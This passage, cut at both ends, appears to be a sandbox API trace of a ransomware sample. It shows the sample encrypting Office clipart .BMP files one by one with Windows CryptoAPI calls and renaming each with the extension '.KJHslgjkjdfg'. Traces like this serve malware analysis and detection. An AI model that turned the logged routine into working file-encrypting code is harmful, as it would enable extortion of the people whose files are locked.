Size=0x10) returned 0x9adfd0 [0208.236] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0208.236] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0208.236] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0208.237] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0208.237] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0208.237] GetProcessHeap () returned 0x990000 [0208.237] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0208.238] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0208.238] CryptDestroyKey (hKey=0x9b6628) returned 1 [0208.238] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0208.238] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0208.238] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0208.238] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0208.238] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0208.238] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0208.238] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0208.238] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0208.238] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.238] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x7db8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x7db8, lpOverlapped=0x0) returned 1 [0208.239] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7dc0, dwBufLen=0x7dc0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7dc0) returned 1 [0208.239] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.239] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x7dc0, lpOverlapped=0x0) returned 1 [0208.240] CryptDestroyKey (hKey=0x9b6628) returned 1 [0208.240] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.240] SetEndOfFile (hFile=0x130) returned 1 [0208.241] GetProcessHeap () returned 0x990000 [0208.241] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0208.241] GetProcessHeap () returned 0x990000 [0208.241] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0208.241] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02071U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02071u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02071U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02071u.bmp.kjhslgjkjdfg")) returned 1 [0208.242] CloseHandle (hObject=0x130) returned 1 [0208.242] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55cd9e00, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x55cd9e00, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02074U.BMP", cAlternateFileName="")) returned 1 [0208.242] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02074U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02074u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0208.243] GetProcessHeap () returned 0x990000 [0208.243] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0208.244] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0208.244] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0208.244] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0208.244] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0208.244] GetProcessHeap () returned 0x990000 [0208.244] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0208.244] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0208.244] CryptDestroyKey (hKey=0x9b6628) returned 1 [0208.244] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0208.246] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0208.247] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0208.247] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0208.247] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0208.247] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0208.247] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0208.247] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0208.247] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.247] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x7ce0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x7ce0, lpOverlapped=0x0) returned 1 [0208.249] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7ce0, dwBufLen=0x7ce0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7ce0) returned 1 [0208.249] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.249] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7ce0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x7ce0, lpOverlapped=0x0) returned 1 [0208.249] CryptDestroyKey (hKey=0x9b6628) returned 1 [0208.249] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7db4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.249] SetEndOfFile (hFile=0x130) returned 1 [0208.250] GetProcessHeap () returned 0x990000 [0208.250] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0208.250] GetProcessHeap () returned 0x990000 [0208.250] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0208.250] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02074U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02074u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02074U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02074u.bmp.kjhslgjkjdfg")) returned 1 [0208.252] CloseHandle (hObject=0x130) returned 1 [0208.252] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c443600, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4c443600, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02208U.BMP", cAlternateFileName="")) returned 1 [0208.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02208U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02208u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0208.253] GetProcessHeap () returned 0x990000 [0208.253] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0208.253] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0208.254] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0208.254] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0208.254] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0208.254] GetProcessHeap () returned 0x990000 [0208.254] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0208.254] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0208.254] CryptDestroyKey (hKey=0x9b6628) returned 1 [0208.254] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0208.255] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0208.256] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0208.256] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0208.256] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0208.256] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0208.256] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0208.256] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0208.256] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.256] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x7ce0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x7ce0, lpOverlapped=0x0) returned 1 [0208.257] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7ce0, dwBufLen=0x7ce0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7ce0) returned 1 [0208.257] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.257] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7ce0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x7ce0, lpOverlapped=0x0) returned 1 [0208.257] CryptDestroyKey (hKey=0x9b6628) returned 1 [0208.257] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7db4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.257] SetEndOfFile (hFile=0x130) returned 1 [0208.260] GetProcessHeap () returned 0x990000 [0208.260] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0208.260] GetProcessHeap () returned 0x990000 [0208.260] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0208.260] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02208U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02208u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02208U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02208u.bmp.kjhslgjkjdfg")) returned 1 [0208.261] CloseHandle (hObject=0x130) returned 1 [0208.262] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e0cfa00, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e0cfa00, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02223U.BMP", cAlternateFileName="")) returned 1 [0208.262] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02223U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02223u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0208.262] GetProcessHeap () returned 0x990000 [0208.262] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0208.262] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0208.263] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0208.263] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0208.265] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0208.265] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0208.265] GetProcessHeap () returned 0x990000 [0208.265] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0208.265] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0208.265] CryptDestroyKey (hKey=0x9b6628) returned 1 [0208.265] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0208.265] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0208.265] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0208.265] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0208.265] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0208.265] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0208.265] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0208.265] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0208.265] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.265] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x7db8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x7db8, lpOverlapped=0x0) returned 1 [0208.266] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7dc0, dwBufLen=0x7dc0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7dc0) returned 1 [0208.267] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.267] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x7dc0, lpOverlapped=0x0) returned 1 [0208.267] CryptDestroyKey (hKey=0x9b6628) returned 1 [0208.267] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.267] SetEndOfFile (hFile=0x130) returned 1 [0208.269] GetProcessHeap () returned 0x990000 [0208.269] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0208.269] GetProcessHeap () returned 0x990000 [0208.269] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0208.269] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02223U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02223u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02223U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02223u.bmp.kjhslgjkjdfg")) returned 1 [0208.271] CloseHandle (hObject=0x130) returned 1 [0208.271] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30d92b00, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x30d92b00, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02291U.BMP", cAlternateFileName="")) returned 1 [0208.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02291U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02291u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0208.272] GetProcessHeap () returned 0x990000 [0208.272] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0208.272] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0208.272] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0208.273] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0208.275] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0208.275] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0208.275] GetProcessHeap () returned 0x990000 [0208.275] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0208.275] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0208.275] CryptDestroyKey (hKey=0x9b6628) returned 1 [0208.275] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0208.275] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0208.275] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: 